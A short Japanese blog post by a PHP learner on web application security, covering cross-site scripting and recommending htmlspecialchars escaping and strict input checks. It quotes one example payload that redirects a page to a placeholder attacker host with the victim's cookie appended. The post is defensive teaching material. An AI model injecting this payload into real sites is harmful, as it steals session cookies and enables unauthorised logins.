ブログBlog
PHPのセキュリティ対策
投稿日:2020年12月23日 テクノロジー
こんにちわ、江宮です。 今月よりPHPに学習をしているのですが、セキュリティ対策に関してリサーチしていると、その学習量の多さにに困惑してしまいました。 今日はその中でもWebアプリ関連で実装時に絶対意識しておいたほうがいいものをいくつかご紹介させていただきます。クロスサイト・スクリプティング(XSS)
これは、サイトの入力フォームにスクリプトコードなどを入力すると、Webページの改ざんやCookie情報の漏洩などの意図しない処理が発生してしまう現象です。 例えば、未対策の入力フォームに document.location=”http://攻撃者.com/script.cgi?cookie=”+document.cookie; と入力して送信すれば、攻撃者サイトへクッキー情報を送信してしまうことになり、攻撃者はそのcookie情報をもとに不正ログインが可能になります。対策としては、全ての入力フォームにhtmlspecialchars関数を使用することによって、特定記号をエスケープし、スクリプトコードが生成されないようにすることが挙げられます。 また、フォームの入力チェックを余計な記号・コードが入らないよう可能な限り厳格にすることもいくらか有効でしょう。